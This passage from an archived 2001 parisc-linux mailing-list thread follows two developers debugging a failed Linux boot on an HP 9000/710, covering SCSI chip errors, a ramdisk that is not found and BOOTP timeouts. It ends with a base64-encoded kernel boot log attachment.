> now.  Attached is the latest log file from my boot. 
> 
> The 2 problems that I see are the ramdisk is NOT seen and the BOOTP
> fails.  I have used TCPDUMP to look at the packets coming and going from
> the system.  All I see is the RBOOTP stuff.  The ramdisk is valid as far
> as I can tell. (I mounted it via the loop fs).  Should it be compressed
> with ZIP???.


> SCSI subsystem driver Revision: 1.00
> sim700: Couldn't get consistent shared memory
> sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86
> scsi0: Revision 0x0
> Post test1, istat 05, sstat0 00, dstat 81
> sim700: WARNING IRQ probe failed, (returned 0)
> scsi0: test 1 FAILED: dsps: exp 0xab93001d, got 0x00000000

You have problems with the scsi driver also.  dstat=81 says 
"Illegal Instruction Detected", which implies the scsi chip cannot
access memory properly.  If the network chip has the same problem,
that would explain your other problems.  As you can load the kernel
ok, I guess the h/w is ok and we are not setting something up
correctly.  I have a 715/75 which uses the same scsi and network
drivers; I'll try that in a while - havn't booted it for a month
or so.

Richard


From - Thu Nov 08 21:15:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Buttafuoco" <jim@tylerdrive.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting a 710 (bushmaster)
Date: Thu, 18 Jan 2001 16:04:47 -0500 (EST)
Lines: 241
Approved: news@gmane.org
Message-ID: <200101182104.f0IL4lb20828@openbsd1.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=NEOMAIL_ATT_0.440625681848363"
X-Trace: ger.gmane.org 1416619559 10908 80.91.229.3 (22 Nov 2014 01:25:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:59 +0000 (UTC)
To: Richard Hirst <rhirst@linuxcare.com>, Jim Buttafuoco <jim@tylerdrive.org>,
        parisc-linux@thepuffingroup.com
Original-X-From: jim@tylerdrive.org  Thu Jan 18 14:01:04 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA16093
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 14:01:03 -0700
Original-Received: (qmail 12842 invoked by uid 15267); 18 Jan 2001 21:04:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12794 invoked from network); 18 Jan 2001 21:04:47 -0000
Original-Received: from 3ff839a7.dsl.flashcom.net (HELO openbsd1.buttafuoco.net) (63.248.57.167)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 21:04:47 -0000
Original-Received: (from www@localhost)
	by openbsd1.buttafuoco.net (8.10.1/8.10.1) id f0IL4lb20828;
	Thu, 18 Jan 2001 16:04:47 -0500 (EST)
X-Mailer: NeoMail 1.21
X-IPAddress: 192.1.3.2
Xref: news.gmane.org gmane.linux.ports.parisc:9286

This is a multi-part message in MIME format.

------=NEOMAIL_ATT_0.440625681848363
Content-Type: text/plain; charset=iso-8859-1

attach is the boot log.


> On Thu, Jan 18, 2001 at 01:12:50PM -0500, Jim Buttafuoco wrote:
> > Ok,
> > 
> > I tried the uncompressed ramdisk, same results.  I am going to try
to 
> > debug this issue first by putting some debug code in rd.c.  I will
keep 
> > you posted...
> > 
> > ANY more suggestions????
> 
> Sounds more likely a network driver problem.  Can you boot with
> i596_debug=0xffff and send me the output.  If that doesn't generate
> lots of extra output, change the value of i596_debug in
> drivers/net/lasi_82596.c and try again.
> 
> Richard
> 
>
---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com
with
> `unsubscribe' as the subject.
> 
> 
> 



------=NEOMAIL_ATT_0.440625681848363
Content-Type: application/octet-stream;
	name="hpboot.log"
Content-Transfer-Encoding: base64

CkJvb3RpbmcgZnJvbTogICAgIGxhbi4wMDAwZjgtMDVmZTdlLjMuNiAgICAgcDIKClNvZnQgYm9v
dGVkLgpwYWxvIGlwbCBqaW1AcDIuYnV0dGFmdW9jby5uZXQgVGh1IEphbiAxOCAwOTo0NzozOCBF
U1QgMjAwMQowL3ZtbGludXggMjE0MzYyMCBieXRlcyBAIDB4NjgwMAowL3BhbG8tY21kbGluZSAn
MC92bWxpbnV4IEhPTUU9LyBURVJNPWxpbnV4IHJvb3Q9L2Rldi9yYW0gaW5pdHJkPTAvcmFtZGlz
ayBjb25zb2xlPXR0eVMwIGk1OTZfZGVidWc9MHhmZmZmJwowL3JhbWRpc2sgNDE5NDMwNCBieXRl
cyBAIDB4MjExZDg0Cktlcm5lbDogcGFydGl0aW9uIDAgZmlsZSAvdm1saW51eApSYW1kaXNrOiBw
YXJ0aXRpb24gMCBmaWxlIC9yYW1kaXNrCkVMRjMyIGV4ZWN1dGFibGUKCkVudHJ5IDAwMTAwMTg4
IGZpcnN0IDAwMTAwMDAwIG4gNApTZWdtZW50IDAgbG9hZCAwMDEwMDAwMCBzaXplIDE0MzcxMzYg
bWVkaWFwdHIgMHgxMDAwClNlZ21lbnQgMSBsb2FkIDAwMjYwMDAwIHNpemUgMjk1ODk2IG1lZGlh
cHRyIDB4MTYwMDAwClNlZ21lbnQgMiBsb2FkIDAwMmFjMDAwIHNpemUgODE5MiBtZWRpYXB0ciAw
eDFhOTAwMApTZWdtZW50IDMgbG9hZCAwMDJkNzBjNCBzaXplIDQ4MCBtZWRpYXB0ciAweDFhYjBj
NApMb2FkaW5nIHJhbWRpc2sgNDE5NDMwNCBieXRlcyBAIDAwNTFjMDAwLi4uCmJyYW5jaGluZyB0
byBrZXJuZWwgZW50cnkgcG9pbnQgMHgwMDEwMDE4OApQREMgQ29uc29sZSBJbml0aWFsaXplZApU
aGUgMzItYml0IEtlcm5lbCBoYXMgc3RhcnRlZC4uLgpFbmFibGVkIEZQIGNvcHJvY2Vzc29yCkZy
ZWUgbWVtb3J5IHN0YXJ0cyBhdDogMHhjMDJkODAwMApzdGFydF9wYXJpc2MoMHg1MDRkNzAsMHg1
MDRkNzAsMHg1MWMwMDAsMHg5MWMwMDApClBBTE8gY29tbWFuZCBsaW5lOiAnSE9NRT0vIFRFUk09
bGludXggcm9vdD0vZGV2L3JhbSBjb25zb2xlPXR0eVMwIGk1OTZfZGVidWc9MHhmZmZmJwpQQUxP
IGluaXRyZCA1MWMwMDAtOTFjMDAwCm1vZGVsICAgMDAwMDMwMDAgMDAwMDA0ODEgMDAwMDAwMDAg
MDAwMDAwMDAgNzdlZDcxNTIgMDAwMDAwMDAgMDAwMDAwMDQgMDAwMDAwMGQgMDAwMDAwMDAKdmVy
cyAgICAwMDAwMDAwMwpDUFVJRCAgIHZlcnMgMCByZXYgMAptb2RlbCAgIDkwMDAvNzEwCmxlZF9p
bml0OiBDUFVfSFZFUlNJT04gMzAwClNlYXJjaGluZyBmb3IgZGV2aWNlcyBpbiBQREMgZmlybXdh
cmUuLi4gcHJvY2Vzc29yIGhwYSAweGZmZmJlMDAwCiBhbiBvbGRlciBib3guLi4KRm91bmQgZGV2
aWNlczoKMS4gU3RpbmdlciBPcHRpb25hbCBHcmFwaGljcyAoMTApIGF0IDB4ZjQwMDAwMDAsIHZl
cnNpb25zIDB4NiwgMHgwLCAweDc3LCAweDAsIDB4MAoyLiBCdXNobWFzdGVyIENvcmUgQkEgKDEx
KSBhdCAweGYwODJmMDAwLCB2ZXJzaW9ucyAweDYsIDB4MCwgMHg3MCwgMHgwLCAweDAKMy4gQnVz
aG1hc3RlciBDb3JlIFNDU0kgKDEwKSBhdCAweGYwODI1MDAwLCB2ZXJzaW9ucyAweDYsIDB4MCwg
MHg3MSwgMHgwLCAweDAKNC4gQnVzaG1hc3RlciBDb3JlIExBTiAoODAyLjMpICgxMCkgYXQgMHhm
MDgyNjAwMCwgdmVyc2lvbnMgMHg2LCAweDAsIDB4NzIsIDB4MCwgMHgwCjUuIEJ1c2htYXN0ZXIg
Q29yZSBISUwgKDEwKSBhdCAweGYwODIxMDAwLCB2ZXJzaW9ucyAweDYsIDB4MCwgMHg3MywgMHgw
LCAweDAKNi4gQnVzaG1hc3RlciBDb3JlIFJTLTIzMiAoMTApIGF0IDB4ZjA4MjMwMDAsIHZlcnNp
b25zIDB4NiwgMHgwLCAweDc1LCAweDAsIDB4MAo3LiBCdXNobWFzdGVyIENvcmUgUlMtMjMyICgx
MCkgYXQgMHhmMDgyMjAwMCwgdmVyc2lvbnMgMHg2LCAweDAsIDB4NzUsIDB4MCwgMHgwCjguIEJ1
c2htYXN0ZXIgQ29yZSBDZW50cm9uaWNzICgxMCkgYXQgMHhmMDgyNDAwMCwgdmVyc2lvbnMgMHg2
LCAweDAsIDB4NzQsIDB4MCwgMHgwCjkuIEJ1c2htYXN0ZXIgQXVkaW8gKDEwKSBhdCAweGYxMDAw
MDAwLCB2ZXJzaW9ucyAweDYsIDB4MCwgMHg3YSwgMHgwLCAweDAKMTAuIEJ1c2htYXN0ZXIgKDcx
MCkgKDApIGF0IDB4ZmZmYmUwMDAsIHZlcnNpb25zIDB4MzAwLCAweDAsIDB4NCwgMHgwLCAweDgx
CjExLiBCdXNobWFzdGVyICgxKSBhdCAweGZmZmJmMDAwLCB2ZXJzaW9ucyAweDE2LCAweDAsIDB4
OSwgMHgwLCAweDAKVGhhdCdzIGEgdG90YWwgb2YgMTEgZGV2aWNlcy4KQ1BVKHMpOiAxIHggUEE3
MDAwIChQQ1gtUykgYXQgNTAuMDAwMDAwIE1IegpMaW51eCB2ZXJzaW9uIDIuNC4wLXRlc3QxMCAo
amltQHAyLmJ1dHRhZnVvY28ubmV0KSAoZ2NjIHZlcnNpb24gMi45NiAyMDAwMDkyNSAoZXhwZXJp
bWVudGFsKSkgIzM3IFRodSBKYW4gMTggMTU6NTU6MTYgRVNUIDIwMDEKZnJlZV9ib290bWVtKDB4
MmQ4NDAwLCAweDFkMjdjMDApCmluaXRyZDogYzA1MWMwMDAtYzA5MWMwMDAKcGFnZXRhYmxlX2lu
aXQKT24gbm9kZSAwIHRvdGFscGFnZXM6IDgxOTIKem9uZSgwKTogNDA5NiBwYWdlcy4Kem9uZSgx
KTogNDA5NiBwYWdlcy4Kem9uZSgyKTogMCBwYWdlcy4KS2VybmVsIGNvbW1hbmQgbGluZTogSE9N
RT0vIFRFUk09bGludXggcm9vdD0vZGV2L3JhbSBjb25zb2xlPXR0eVMwIGk1OTZfZGVidWc9MHhm
ZmZmCnRyYXBfaW5pdApFcnJvciByZWFkaW5nIHRvZCBjbG9jawpDYWxpYnJhdGluZyBkZWxheSBs
b29wLi4uIDQ5Ljc3IEJvZ29NSVBTCk1lbW9yeTogMjUxNzZrIGF2YWlsYWJsZQpEZW50cnktY2Fj
aGUgaGFzaCB0YWJsZSBlbnRyaWVzOiA0MDk2IChvcmRlcjogMywgMzI3NjggYnl0ZXMpCkJ1ZmZl
ci1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDEwMjQgKG9yZGVyOiAwLCA0MDk2IGJ5dGVzKQpQ
YWdlLWNhY2hlIGhhc2ggdGFibGUgZW50cmllczogODE5MiAob3JkZXI6IDMsIDMyNzY4IGJ5dGVz
KQpJbm9kZS1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDIwNDggKG9yZGVyOiAyLCAxNjM4NCBi
eXRlcykKUE9TSVggY29uZm9ybWFuY2UgdGVzdGluZyBieSBVTklGSVgKQVNQIHZlcnNpb24gMSBh
dCAweGYwODAwMDAwIGZvdW5kLgpMRUQgKEFTUC1zdHlsZSkgZGlzcGxheSBhdCAwMDAwMDAwMCBy
ZWdpc3RlcmVkCkZvdW5kIGk4MjU5NiBhdCAweGYwODI2MDAwLCBJUlEgODcKZWFybHkgaW5pdGlh
bGl6YXRpb24gb2YgZGV2aWNlIGV0aDAgaXMgZGVmZXJyZWQKRm91bmQgSElMIGF0IDB4ZjA4MjEw
MDAsIElSUSA5NApISUw6IHRpbWVkIG91dCwgYXNzdW1pbmcgbm8ga2V5Ym9hcmQgcHJlc2VudC4K
V2FybmluZyA6IGRldmljZSAoMTAsIDB4NiwgMHgwLCAweDczLCAweDApIE5PVCBjbGFpbWVkIGJ5
IEhJTCA3MTIsIDcxNSBvciBzaW1pbGlhcgpzdXBlcmlvOiBQcm9iZQpDb3VsZCBub3QgZmluZCBT
dXBlcmlvIElERSAhCkNvdWxkIG5vdCBmaW5kIFN1cGVyaW8gVVNCIQpCYWghCkxpbnV4IE5FVDQu
MCBmb3IgTGludXggMi40CkJhc2VkIHVwb24gU3dhbnNlYSBVbml2ZXJzaXR5IENvbXB1dGVyIFNv
Y2lldHkgTkVUMy4wMzkKU3RhcnRpbmcga3N3YXBkIHYxLjgKcHR5OiAyNTYgVW5peDk4IHB0eXMg
Y29uZmlndXJlZApSQU1ESVNLIGRyaXZlciBpbml0aWFsaXplZDogMTYgUkFNIGRpc2tzIG9mIDQw
OTZLIHNpemUgMTAyNCBibG9ja3NpemUKODI1OTYuYzogTUFDIG9mIEhQNzAwIExBTiBibGluZGVs
eSByZWFkIGZyb20gdGhlIHByb20hCmV0aDA6IENvdWxkbid0IGdldCBjb25zaXN0ZW50IHNoYXJl
ZCBtZW1vcnkKZXRoMDogODI1OTYgYXQgMHhmMDgyNjAwMCwgMDggMDAgMDkgMjUgREQgN0IgSVJR
IDg3Lgo4MjU5Ni5jICRSZXZpc2lvbjogMS4xNCAkCmV0aDA6IGxwIGF0IDB4YzFmYmYwMDAgKDM4
NzIgYnl0ZXMpLCBscC0+c2NiIGF0IDB4YzFmYmYwNDAKUkFNRElTSzogQ291bGRuJ3QgZmluZCB2
YWxpZCBSQU0gZGlzayBpbWFnZSBzdGFydGluZyBhdCAwLgpTZXJpYWwgZHJpdmVyIHZlcnNpb24g
NS4wMiAoMjAwMC0wOC0wOSkgd2l0aCBNQU5ZX1BPUlRTIFNIQVJFX0lSUSBTRVJJQUxfUENJIGVu
YWJsZWQKdHR5UzAwIGF0IGlvbWVtIDB4ZjA4MjM4MDAgKGlycSA9IDkwKSBpcyBhIDE2NTUwQQp0
dHlTMDEgYXQgaW9tZW0gMHhmMDgyMjgwMCAoaXJxID0gODkpIGlzIGEgMTY1NTBBCkdlbmVyaWMg
UlRDIERyaXZlciB2MS4wMiAwNS8yNy8xOTk5IFNhbSBDcmVhc2V5IChzYW1teUBvaC52ZXJpby5j
b20pClNDU0kgc3Vic3lzdGVtIGRyaXZlciBSZXZpc2lvbjogMS4wMApzaW03MDA6IENvdWxkbid0
IGdldCBjb25zaXN0ZW50IHNoYXJlZCBtZW1vcnkKc2ltNzAwOiBDb25maWd1cmluZyA1M2M3MDAg
KFNDU0ktSUQgNykgYXQgZjA4MjUxMDAsIElSUSA4NgpzY3NpMDogUmV2aXNpb24gMHgwClBvc3Qg
dGVzdDEsIGlzdGF0IDA1LCBzc3RhdDAgMDAsIGRzdGF0IDgxCnNpbTcwMDogV0FSTklORyBJUlEg
cHJvYmUgZmFpbGVkLCAocmV0dXJuZWQgMCkKc2NzaTA6IHRlc3QgMSBGQUlMRUQ6IGRzcHM6IGV4
cCAweGFiOTMwMDFkLCBnb3QgMHgwMDAwMDAwMApzY3NpMDogQ2hpcCByZWdpc3RlciBjb250ZW50
czoKIChzY3JpcHRbMF0gYXQgdmlydCBjMWZiMDAwMCwgYnVzIDFmYjAwMDApCiAwMCAgc2llbjog
IGFmICBzZGlkOiAgMDAgIHNjbnRsMToyMCAgc2NudGwwOmM0CiAwNCAgc29jbDogIDAwICBzb2Rs
OiAgMDAgIHN4ZmVyOiAwMCAgc2NpZDogIDgwCiAwOCAgc2JjbDogIDAwICBzYmRsOiAgMDAgIHNp
ZGw6ICAwMCAgc2ZicjogIDAwCiAwQyAgc3N0YXQyOjAwICBzc3RhdDE6MDAgIHNzdGF0MDowMCAg
ZHN0YXQ6IDgwCiAxMAogMTQgIGN0ZXN0MzplNSAgY3Rlc3QyOjIxICBjdGVzdDE6ZjAgIGN0ZXN0
MDowMAogMTggIGN0ZXN0NzowMCAgY3Rlc3Q2OmVmICBjdGVzdDU6MDAgIGN0ZXN0NDowMAogMUMg
IHRlbXA6ICAwMDAwMDAwMAogMjAgICAgICAgICAgICAgIGN0ZXN0ODpmZiAgaXN0YXQ6IDA2ICBk
ZmlmbzogMDAKIDI0ICBkYmM6ICAgMDAwMDAwMDAgIGRuYWQ6ICAwMDAwMDAwMCAgZHNwOiAgIDAx
ZmI3NGI0CiAzMCAgZHNwczogIDAwMDAwMDAwCiAzNCAgZG1vZGU6IDgwCiAzOCAgZGNudGw6IDgw
ICBkd3Q6ICAgMDAgIGRpZW46ICAxZAogM0MKV2FybmluZyA6IGRldmljZSAoMTAsIDB4NiwgMHgw
LCAweDcxLCAweDApIE5PVCBjbGFpbWVkIGJ5IExhc2kgU0NTSSA1M2M3MDAKTkVUNDogTGludXgg
VENQL0lQIDEuMCBmb3IgTkVUNC4wCklQIFByb3RvY29sczogSUNNUCwgVURQLCBUQ1AKSVA6IHJv
dXRpbmcgY2FjaGUgaGFzaCB0YWJsZSBvZiA1MTIgYnVja2V0cywgNEtieXRlcwpUQ1A6IEhhc2gg
dGFibGVzIGNvbmZpZ3VyZWQgKGVzdGFibGlzaGVkIDIwNDggYmluZCAyMDQ4KQpldGgwOiBpNTk2
X29wZW4oKSBpcnEgODcuClJFU0VUIDgyNTk2IHBvcnQ6IEYwODI2MDAwICh3aXRoIElSUTg3IGRp
c2FibGVkKQpldGgwOiBzdGFydGluZyBpODI1OTYuCmV0aDA6IGk4MjU5NiBpbml0aWFsaXphdGlv
biBzdWNjZXNzZnVsCmV0aDA6IHF1ZXVpbmcgQ21kQ29uZmlndXJlCmk1OTZfYWRkX2NtZCBjbWRf
aGVhZCBmZmZmZmZmZgpldGgwOiBxdWV1aW5nIENtZFNBU2V0dXAKaTU5Nl9hZGRfY21kIGNtZF9o
ZWFkIGMxZmJmMGEwCmV0aDA6IHF1ZXVpbmcgQ21kVERSCmk1OTZfYWRkX2NtZCBjbWRfaGVhZCBj
MWZiZjBhMApldGgwOiBJc3N1aW5nIFJYX1NUQVJUCmV0aDA6IFJlY2VpdmUgdW5pdCBzdGFydGVk
IE9LCmV0aDA6IHNldCBtdWx0aWNhc3QgbGlzdCwgMCBlbnRyaWVzLCBwcm9taXNjIE9GRiwgYWxs
bXVsdGkgT0ZGCmV0aDA6IHNldCBtdWx0aWNhc3QgbGlzdCwgMCBlbnRyaWVzLCBwcm9taXNjIE9G
RiwgYWxsbXVsdGkgT0ZGClNlbmRpbmcgQk9PVFAgcmVxdWVzdHMuLi5ldGgwOiBpNTk2X3N0YXJ0
X3htaXQoMTk2LGMxZmU3ZTAyKSBjYWxsZWQKaTU5NiAweGMxZmU3ZTAyLCAgMDggMDAgMDkgMjUg
REQgN0IgLS0+IEZGIEZGIEZGIEZGIEZGIEZGIDA4MDAsIHR4LXF1ZXVlZAppNTk2X2FkZF9jbWQg
Y21kX2hlYWQgYzFmYmYwYTAKLmV0aDA6IGk1OTZfc3RhcnRfeG1pdCgxOTYsYzFmYTcwMDIpIGNh
bGxlZAppNTk2IDB4YzFmYTcwMDIsICAwOCAwMCAwOSAyNSBERCA3QiAtLT4gRkYgRkYgRkYgRkYg
RkYgRkYgMDgwMCwgdHgtcXVldWVkCmk1OTZfYWRkX2NtZCBjbWRfaGVhZCBjMWZiZjBhMAouZXRo
MDogaTU5Nl9zdGFydF94bWl0KDE5NixjMWZhNzIwMikgY2FsbGVkCmk1OTYgMHhjMWZhNzIwMiwg
IDA4IDAwIDA5IDI1IEREIDdCIC0tPiBGRiBGRiBGRiBGRiBGRiBGRiAwODAwLCB0eC1xdWV1ZWQK
aTU5Nl9hZGRfY21kIGNtZF9oZWFkIGMxZmJmMGEwCi5ldGgwOiBpNTk2X3N0YXJ0X3htaXQoMTk2
LGMxZmE3NDAyKSBjYWxsZWQKaTU5NiAweGMxZmE3NDAyLCAgMDggMDAgMDkgMjUgREQgN0IgLS0+
IEZGIEZGIEZGIEZGIEZGIEZGIDA4MDAsIHR4LXF1ZXVlZAppNTk2X2FkZF9jbWQgY21kX2hlYWQg
YzFmYmYwYTAKLmV0aDA6IGk1OTZfc3RhcnRfeG1pdCgxOTYsYzFmYTc2MDIpIGNhbGxlZAppNTk2
IDB4YzFmYTc2MDIsICAwOCAwMCAwOSAyNSBERCA3QiAtLT4gRkYgRkYgRkYgRkYgRkYgRkYgMDgw
MCwgdHgtcXVldWVkCmk1OTZfYWRkX2NtZCBjbWRfaGVhZCBjMWZiZjBhMAouZXRoMDogaTU5Nl9z
dGFydF94bWl0KDE5NixjMWZhNzgwMikgY2FsbGVkCmk1OTYgMHhjMWZhNzgwMiwgIDA4IDAwIDA5
IDI1IEREIDdCIC0tPiBGRiBGRiBGRiBGRiBGRiBGRiAwODAwLCB0eC1xdWV1ZWQKaTU5Nl9hZGRf
Y21kIGNtZF9oZWFkIGMxZmJmMGEwCi5ldGgwOiBpNTk2X3N0YXJ0X3htaXQoMTk2LGMxZmE3YTAy
KSBjYWxsZWQKaTU5NiAweGMxZmE3YTAyLCAgMDggMDAgMDkgMjUgREQgN0IgLS0+IEZGIEZGIEZG
IEZGIEZGIEZGIDA4MDAsIHR4LXF1ZXVlZAppNTk2X2FkZF9jbWQgY21kX2hlYWQgYzFmYmYwYTAK
LmV0aDA6IGk1OTZfc3RhcnRfeG1pdCgxOTYsYzFmYTdjMDIpIGNhbGxlZAppNTk2IDB4YzFmYTdj
MDIsICAwOCAwMCAwOSAyNSBERCA3QiAtLT4gRkYgRkYgRkYgRkYgRkYgRkYgMDgwMCwgdHgtcXVl
dWVkCmk1OTZfYWRkX2NtZCBjbWRfaGVhZCBjMWZiZjBhMAouZXRoMDogaTU5Nl9zdGFydF94bWl0
KDE5NixjMWZhN2UwMikgY2FsbGVkCmk1OTYgMHhjMWZhN2UwMiwgIDA4IDAwIDA5IDI1IEREIDdC
IC0tPiBGRiBGRiBGRiBGRiBGRiBGRiAwODAwLCB0eC1xdWV1ZWQKaTU5Nl9hZGRfY21kIGNtZF9o
ZWFkIGMxZmJmMGEwCi5ldGgwOiBpNTk2X3N0YXJ0X3htaXQoMTk2LGMxZmE1MDAyKSBjYWxsZWQK
aTU5NiAweGMxZmE1MDAyLCAgMDggMDAgMDkgMjUgREQgN0IgLS0+IEZGIEZGIEZGIEZGIEZGIEZG
IDA4MDAsIHR4LXF1ZXVlZAppNTk2X2FkZF9jbWQgY21kX2hlYWQgYzFmYmYwYTAKLiB0aW1lZCBv
dXQhCklQLUNvbmZpZzogQXV0by1jb25maWd1cmF0aW9uIG9mIG5ldHdvcmsgZmFpbGVkLgpldGgw
OiBzZXQgbXVsdGljYXN0IGxpc3QsIDAgZW50cmllcywgcHJvbWlzYyBPRkYsIGFsbG11bHRpIE9G
RgpldGgwOiBTaHV0dGluZyBkb3duIGV0aGVyY2FyZCwgc3RhdHVzIHdhcyBhMDQwLgpscCBhbmQg
c2NwIGF0IGMxZmJmMDAwLCAuc3lzYnVzID0gMDAwMDAwNmMsIC5pc2NwID0gZjAyMDAxZmIKaXNj
cCBhdCBjMWZiZjAyMCwgaXNjcC5zdGF0ID0gMDAwMDAwMDAsIC5zY2IgPSBmMDQwMDFmYgpzY2Ig
YXQgYzFmYmYwNDAsIHNjYi5zdGF0dXMgPSBmMDAwLCAuY29tbWFuZCA9IDAwMDAsIC5jbWQgPSBm
MGE0MDFmYiwgLnJmZCA9IGYyODAwMWZiCiAgIGVycm9yczogY3JjIDAsIGFsaWduIDAsIHJlc291
cmNlIDE0NTAwMDAsIG92ZXIgMCwgcmN2ZHQgMCwgc2hvcnQgMApjbWQgYXQgYzFmYmYwYTAsIC5z
dGF0dXMgPSBhMDAwLCAuY29tbWFuZCA9IGEwMDIsIC5iX25leHQgPSBmMDg0MDFmYgpjbWQgYXQg
YzFmYmYwODAsIC5zdGF0dXMgPSAwMDAwLCAuY29tbWFuZCA9IGEwMDEsIC5iX25leHQgPSBmMGM0
MDFmYgpjbWQgYXQgYzFmYmYwYzAsIC5zdGF0dXMgPSAwMDAwLCAuY29tbWFuZCA9IGEwMDUsIC5i
X25leHQgPSBmNjg0MDFmYgpjbWQgYXQgYzFmYmY2ODAsIC5zdGF0dXMgPSAwMDAwLCAuY29tbWFu
ZCA9IGEwMGMsIC5iX25leHQgPSBmNmE0MDFmYgpjbWQgYXQgYzFmYmY2YTAsIC5zdGF0dXMgPSAw
MDAwLCAuY29tbWFuZCA9IGEwMGMsIC5iX25leHQgPSBmNmM0MDFmYgpjbWQgYXQgYzFmYmY2YzAs
IC5zdGF0dXMgPSAwMDAwLCAuY29tbWFuZCA9IGEwMGMsIC5iX25leHQgPSBmNmU0MDFmYgpjbWQg
YXQgYzFmYmY2ZTAsIC5zdGF0dXMgPSAwMDAwLCAuY29tbWFuZCA9IGEwMGMsIC5iX25leHQgPSBm
NzA0MDFmYgpjbWQgYXQgYzFmYmY3MDAsIC5zdGF0dXMgPSAwMDAwLCAuY29tbWFuZCA9IGEwMGMs
IC5iX25leHQgPSBmNzI0MDFmYgpjbWQgYXQgYzFmYmY3MjAsIC5zdGF0dXMgPSAwMDAwLCAuY29t
bWFuZCA9IGEwMGMsIC5iX25leHQgPSBmNzQ0MDFmYgpjbWQgYXQgYzFmYmY3NDAsIC5zdGF0dXMg
PSAwMDAwLCAuY29tbWFuZCA9IGEwMGMsIC5iX25leHQgPSBmNzY0MDFmYgpjbWQgYXQgYzFmYmY3
NjAsIC5zdGF0dXMgPSAwMDAwLCAuY29tbWFuZCA9IGEwMGMsIC5iX25leHQgPSBmNzg0MDFmYgpj
bWQgYXQgYzFmYmY3ODAsIC5zdGF0dXMgPSAwMDAwLCAuY29tbWFuZCA9IGEwMGMsIC5iX25leHQg
PSBmN2E0MDFmYgpjbWQgYXQgYzFmYmY3YTAsIC5zdGF0dXMgPSAwMDAwLCAuY29tbWFuZCA9IGEw
MGMsIC5iX25leHQgPSBmZmZmZmZmZgpyZmRfaGVhZCA9IGMxZmJmMjgwCiAgIGMxZmJmMjgwIC5z
dGF0IGEwMDAsIC5jbWQgMDAwOCwgYl9uZXh0IGYyYTAwMWZiLCByYmQgZjQ4MDAxZmIsIGNvdW50
IDQwMDAKICAgYzFmYmYyYTAgLnN0YXQgYTAwMCwgLmNtZCAwMDA4LCBiX25leHQgZjJjMDAxZmIs
IHJiZCBmNGEwMDFmYiwgY291bnQgNDAwMAogICBjMWZiZjJjMCAuc3RhdCBhMDAwLCAuY21kIDAw
MDgsIGJfbmV4dCBmMmUwMDFmYiwgcmJkIGY0YzAwMWZiLCBjb3VudCA0MDAwCiAgIGMxZmJmMmUw
IC5zdGF0IGEwMDAsIC5jbWQgMDAwOCwgYl9uZXh0IGYzMDAwMWZiLCByYmQgZjRlMDAxZmIsIGNv
dW50IDQwMDAKICAgYzFmYmYzMDAgLnN0YXQgYTAwMCwgLmNtZCAwMDA4LCBiX25leHQgZjMyMDAx
ZmIsIHJiZCBmNTAwMDFmYiwgY291bnQgNDAwMAogICBjMWZiZjMyMCAuc3RhdCBhMDAwLCAuY21k
IDAwMDgsIGJfbmV4dCBmMzQwMDFmYiwgcmJkIGY1MjAwMWZiLCBjb3VudCA0MDAwCiAgIGMxZmJm
MzQwIC5zdGF0IGEwMDAsIC5jbWQgMDAwOCwgYl9uZXh0IGYzNjAwMWZiLCByYmQgZjU0MDAxZmIs
IGNvdW50IDQwMDAKICAgYzFmYmYzNjAgLnN0YXQgYTAwMCwgLmNtZCAwMDA4LCBiX25leHQgZjM4
MDAxZmIsIHJiZCBmNTYwMDFmYiwgY291bnQgNDAwMAogICBjMWZiZjM4MCAuc3RhdCBhMDAwLCAu
Y21kIDAwMDgsIGJfbmV4dCBmM2EwMDFmYiwgcmJkIGY1ODAwMWZiLCBjb3VudCA0MDAwCiAgIGMx
ZmJmM2EwIC5zdGF0IGEwMDAsIC5jbWQgMDAwOCwgYl9uZXh0IGYzYzAwMWZiLCByYmQgZjVhMDAx
ZmIsIGNvdW50IDQwMDAKICAgYzFmYmYzYzAgLnN0YXQgYTAwMCwgLmNtZCAwMDA4LCBiX25leHQg
ZjNlMDAxZmIsIHJiZCBmNWMwMDFmYiwgY291bnQgNDAwMAogICBjMWZiZjNlMCAuc3RhdCBhMDAw
LCAuY21kIDAwMDgsIGJfbmV4dCBmNDAwMDFmYiwgcmJkIGY1ZTAwMWZiLCBjb3VudCA0MDAwCiAg
IGMxZmJmNDAwIC5zdGF0IGEwMDAsIC5jbWQgMDAwOCwgYl9uZXh0IGY0MjAwMWZiLCByYmQgZjYw
MDAxZmIsIGNvdW50IDQwMDAKICAgYzFmYmY0MjAgLnN0YXQgYTAwMCwgLmNtZCAwMDA4LCBiX25l
eHQgZjQ0MDAxZmIsIHJiZCBmNjIwMDFmYiwgY291bnQgNDAwMAogICBjMWZiZjQ0MCAuc3RhdCBh
MDAwLCAuY21kIDAwMDgsIGJfbmV4dCBmNDYwMDFmYiwgcmJkIGY2NDAwMWZiLCBjb3VudCA0MDAw
CiAgIGMxZmJmNDYwIC5zdGF0IGEwMDAsIC5jbWQgODAwOCwgYl9uZXh0IGYyODAwMWZiLCByYmQg
ZjY2MDAxZmIsIGNvdW50IDQwMDAKcmJkX2hlYWQgPSBjMWZiZjQ4MAogICBjMWZiZjQ4MCAuY291
bnQgYzA5YSwgYl9uZXh0IGY0YTAwMWZiLCBiX2RhdGEgZjAxMjAxZmEsIHNpemUgNDYwMAogICBj
MWZiZjRhMCAuY291bnQgYzBhNCwgYl9uZXh0IGY0YzAwMWZiLCBiX2RhdGEgZjgxMjAxZmEsIHNp
